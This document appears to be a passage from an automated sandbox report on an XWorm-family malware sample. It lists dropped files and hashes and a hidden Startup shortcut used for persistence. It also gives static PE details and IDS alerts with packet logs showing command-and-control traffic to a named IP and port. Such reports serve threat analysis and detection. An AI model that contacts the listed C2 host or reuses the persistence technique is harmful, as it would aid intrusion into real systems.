.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD67.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4763
Entropy (8bit):	4.517803069008242
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEJg771I969WpW8VYRSsYm8M4JMSAFNyq85zL/uzBYLQd:uIjfCI7lM7VsSpJgq2YLQd
MD5:	F885621DE8BC58A6AF3594C977779BBC
SHA1:	CBA9241B39CBD097EF457C948D6F92124638D7DA
SHA-256:	DB52C9A08A52B5D5F6AA359985CC5ED72DD23782B56EF534E572CD85B04F4D18
SHA-512:	AEE20D64C7F68EE5FB922BD2AFE23D77ACD608FE06E777CA45F61F9446332F6815AED2E4E7E88EE60E61D1A97773D8E7ABD82DB4B844E4969C497C9734E81AF9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="391966" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jsc.exe.log

Process:	C:\Users\user\AppData\Roaming\jsc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	135
Entropy (8bit):	5.045303121991894
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUCztJXILKNUhh+9Am12MFuAvOAsDeieVyn:Q3La/xwczfIWW+P12MUAvvrs
MD5:	BB527FDBC763485B0662FCCFD53AA00A
SHA1:	86438ECBAF308B24FA264C7B6ECECDABD1338DC0
SHA-256:	6158C0B5B794617AAD8DA6D671FEF9EDE9CAB2AA9A9FAD91D038739DFF5CEDBD
SHA-512:	2003E36806330552D7DD5E633F24A67F2F4226C12EE43A6F79BB709727DD52910CA5EAF336F9C1E5733C66BC3075CA24CACA19D086BE373B76AA08D3FA818106
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.JScript, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	2232
Entropy (8bit):	5.37859781817162
Encrypted:	false
SSDEEP:	48:YWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugeC/ZPUyus:YLHxvIIwLgZ2KRHWLOug8s
MD5:	0ACE1C093CB85EC8561B8A88F7DBFD99
SHA1:	B0E8DE45C30A21616C84C5E0C2BD38D8C8AE8980
SHA-256:	16F9B3794D78E82B7C5EDC6BDDCF2844115147AB8023C4BEBE48EE2BB4FDEBF8
SHA-512:	2F28BCD8D021008FC920D10F86F53F7780280C29B7014A6E13CD430FBBC7CCEA3989E9FA334C45B1D2EC5E2C8D2D7F01A2B28A56DC18213C88E4358A1E8C1FFA
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\Log.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41
Entropy (8bit):	3.7195394315431693
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr4rNrn:EFYJKDoWrcBn
MD5:	0DB526D48DAB0E640663E4DC0EFE82BA
SHA1:	17AC435DAFEA6FF9F4D6F83FA6C54F9800F43724
SHA-256:	934290A76F9E1804069D8ED6515B14101D9D8ABA2EACBF5B260F59941C65340E
SHA-512:	FACD013E1B5B8163214CA8C3A18ADEEC3541153CD69240EEFA76DDD54809186E919C1D635AEA648A8641DE7C3216BEC11C41F04719B60F07EDFDC01FF79027B9
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]r[WIN]r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11e1mfol.1ae.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3skpmywg.xqi.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1plpdlj.gn3.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cimcy0g0.dyj.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_curbv2ia.4ov.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dujlpnt2.sre.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3nd3o5y.2rm.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kf4ddzuz.3hi.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_krauy1eb.wcv.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odurkfd4.yu5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qvshr32v.biy.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymemg2im.33a.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jsc.lnk

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Jul 1 14:28:10 2024, mtime=Mon Jul 1 14:28:11 2024, atime=Mon Jul 1 14:28:11 2024, length=47584, window=hide
Category:	dropped
Size (bytes):	744
Entropy (8bit):	5.129458032686378
Encrypted:	false
SSDEEP:	12:8IUKy4SQN+2Chyi1Y//LaDjLAewTQJjAsSNHiCzDQJnQJzBmV:8I42V9E3PwEtAsEz0JQJtm
MD5:	58423637393B6F7D0C7A69E1AD408390
SHA1:	65E05B286586285F12BE51D2F6E789403BF1399F
SHA-256:	B04E307A12D96205951F0D7CE6B01366EECEC9D550F434953CC1C430029808D4
SHA-512:	5A07941D8DE30A94C82670B794BAD121F67F075F04092A41520EE7CA7CF82A8060099BB22BC37C0E04473BC2F6C7022DDD527EDAF795D68EFEBAF4EEBA0A32A2
Malicious:	false
Preview:	L..................F.... ......G......{H......{H...........................j.:..DG..Yr?.D..U..k0.&...&......Qg._...}.#.....@#~H........t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=.X.{..........................3N.A.p.p.D.a.t.a...B.V.1......X.m..Roaming.@......EW.=.X.m..........................5...R.o.a.m.i.n.g.....V.2.....X.{ .jsc.exe.@.......X.{.X.{....)......................MA.j.s.c...e.x.e.......Y...............-.......X...........$w.m.....C:\Users\user\AppData\Roaming\jsc.exe........\.....\.....\.....\.....\.j.s.c...e.x.e.`.......X.......376483...........hT..CrF.f4... .U../Tc...,......hT..CrF.f4... .U../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\jsc.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	47584
Entropy (8bit):	6.391877602293662
Encrypted:	false
SSDEEP:	768:DeSZaMT79n3DwU8ZCM2o1QG/n29WERqqJaqW/P8+4W:DeoaElzEZ2fG/nmkK4s+4W
MD5:	94C8E57A80DFCA2482DEDB87B93D4FD9
SHA1:	5729E6C7D2F5AB760F0093B9D44F8AC0F876A803
SHA-256:	39E87F0EDCDD15582CFEFDFAB1975AADD2C7CA1E3A5F07B1146CE3206F401BB5
SHA-512:	1798A3607B2B94732B52DE51D2748C86F9453343B6D8A417E98E65DDB38E9198CDCB2F45BF60823CB429B312466B28C5103C7588F2C4EF69FA27BFDB4F4C67DC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: z9order.exe, Detection: malicious, Browse Filename: Halkbank_Ekstre_20240626_0805893_4585894.xlxs.exe, Detection: malicious, Browse Filename: hesaphareketi-01.pdf.exe, Detection: malicious, Browse Filename: kSf9sIgyxl.exe, Detection: malicious, Browse Filename: AUS5YMhYPA.exe, Detection: malicious, Browse Filename: INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe, Detection: malicious, Browse Filename: DHL EXPRESS.exe, Detection: malicious, Browse Filename: DHL EXPRESS.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.IL.Trojan.MSILZilla.114613.20476.19722.exe, Detection: malicious, Browse Filename: AWB-Ref-#32122432 Pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.]..............0..n..........b.... ........@.. ..............................h.....`.....................................O....................x...A.......................................................... ............... ..H............text...hm... ...n.................. ..`.rsrc................p..............@..@.reloc...............v..............@..B................D.......H........D...8..........h}..p...........................................0...........(......}......}......}..... L...}......}......}......}.....s....}.....s....}.......s....}.......s....}.....s....}....r...p(......,...}.....r...p}.....0..........s......r...po.....r...po......(....o....s.....r...p..(...........( ...(!...o"...r!..po#...o$...t.......o.......#..rA..p..o%...(....(....(&.....................Tp.# .....(.....0............}......}......}......}......}......}.....s

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.417197918284012
Encrypted:	false
SSDEEP:	6144:3cifpi6ceLPL9skLmb0mcSWSPtaJG8nAgex285i2MMhA20X4WABlGuNw5+:si58cSWIZBk2MM6AFB6o
MD5:	4CEC9C00DD4D6538105E9C1948784FA7
SHA1:	5EDD61021297A8C3A5E527A9F54499FEEF255B20
SHA-256:	B8EF289D53CAB687B11EC616C42C2CB0A874EF76E451BD66169AC835B3212A50
SHA-512:	1DC795908ED72C7C0653A52F1560C455B00F1F98A4C1400BBDFB455162DD7EE9318AEF16919885841C13F0F4CE96730351A5E1D777A68AEF793C0B98AB14E5D7
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Process:	C:\Users\user\AppData\Roaming\jsc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2674
Entropy (8bit):	4.476202952399629
Encrypted:	false
SSDEEP:	48:zKQKcDlb/FmJ2WIH6l1esj3N71AwxlKK2ZuSI3VLukGTSHB2GbrA0t/kwM:zKQKcDB/FmJ2W+wj97SwxlKKgkGTg24w
MD5:	10BD8D8BDF561315C770518BB7221209
SHA1:	ED69B257D7793C49537F0E530EAA052F3D9B28E9
SHA-256:	B0E312B41391EE4A64D26F2B0E1BA54819D656B630F78CD7B4BB06D29387AA46
SHA-512:	BCE818E0DD8466BBCE9D022DB589DC3B31B0B7370A54AD3B8DA1300F4042636FAEBD312269E0AFBD28DC2E35B9F45F4F93768E43124E7B7F8C635D35B6C53A60
Malicious:	false
Preview:	Microsoft (R) JScript Compiler version 14.00.4084..for Microsoft (R) .NET Framework version 4.0.30319..Copyright (C) Microsoft Corporation. All rights reserved.....jsc [options] <source files> [[options] <source files>...].... JScript Compiler Options.... - OUTPUT FILES -.. /out:<file> Specify name of binary output file.. /t[arget]:exe Create a console application (default).. /t[arget]:winexe Create a windows application.. /t[arget]:library Create a library assembly.. /platform:<platform> Limit which platforms this code can run on; must be x86, Itanium, x64, or any cpu, which is the default.... - INPUT FILES -.. /autoref[+\|-] Automatically reference assemblies based on imported namespaces and fully-qualified names (on by default).. /lib:<path> Specify additional directories to search in for references.. /r[eference]:<file list> Reference

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.651936379806183
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3SBlY301oa.exe
File size:	1'974'292 bytes
MD5:	f5b72b219b9dc802075066951e0f5aad
SHA1:	5d475b00153f3bd0d16010ebd5c5aba656455552
SHA256:	b1027ba8039c64d6887daa9ef2f97438ebfa2f6877e2158680c01b326bdc76c9
SHA512:	754ace2e865ce9199eff860ffff7d72e42e72864ee055173d8b86961d48dc5858c156811eb309c79d428b1b3ab2ac503de25fa7a93624fe68730b5e508a9e154
SSDEEP:	6144:57N5lBaoSYS15AN5qev787IieFFyCoxTuFl7oTWuS/38EOL/Xmae0v6lthr0:/kofS1uNoeHVPFlsTk38XyaF63hY
TLSH:	11951292364F1D2BFE90493AC6E572F268FD2E2735F61A5FCF900C4864921BC11666F2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....Y............"...0.P:............... ....@...... ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x9B9359DD [Mon Sep 16 18:47:57 2052 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x99c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5a34	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3a50	0x3c00	2dcbf5312b0a8043cff4db385af28efc	False	0.6322265625	data	6.113831039350694	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x99c	0xa00	ba9a49f79cbbc830461bbf85f5410b13	False	0.306640625	data	4.266932402351611	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x60b8	0x37c	data			0.4854260089686099
RT_VERSION	0x6434	0x37c	data	English	United States	0.4876681614349776
RT_MANIFEST	0x67b0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/01/24-15:46:50.785433	TCP	2853193	ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound	49756	1556	192.168.2.7	78.159.112.6
07/01/24-15:45:41.295408	TCP	2855924	ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound	49743	1556	192.168.2.7	78.159.112.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 15:44:27.079025984 CEST	49716	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:27.083944082 CEST	1556	49716	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:27.084019899 CEST	49716	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:27.173310995 CEST	49716	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:27.178311110 CEST	1556	49716	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:28.887016058 CEST	1556	49716	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:28.887092113 CEST	49716	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:30.390983105 CEST	49716	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:30.393085957 CEST	49719	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:30.396686077 CEST	1556	49716	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:30.398051023 CEST	1556	49719	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:30.398135900 CEST	49719	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:30.444051981 CEST	49719	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:30.448988914 CEST	1556	49719	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:32.233891964 CEST	1556	49719	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:32.240144014 CEST	49719	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:35.182897091 CEST	49719	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:35.184175968 CEST	49720	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:35.187771082 CEST	1556	49719	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:35.189002991 CEST	1556	49720	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:35.189080954 CEST	49720	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:35.201462030 CEST	49720	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:35.206270933 CEST	1556	49720	78.159.112.6	192.168.2.7
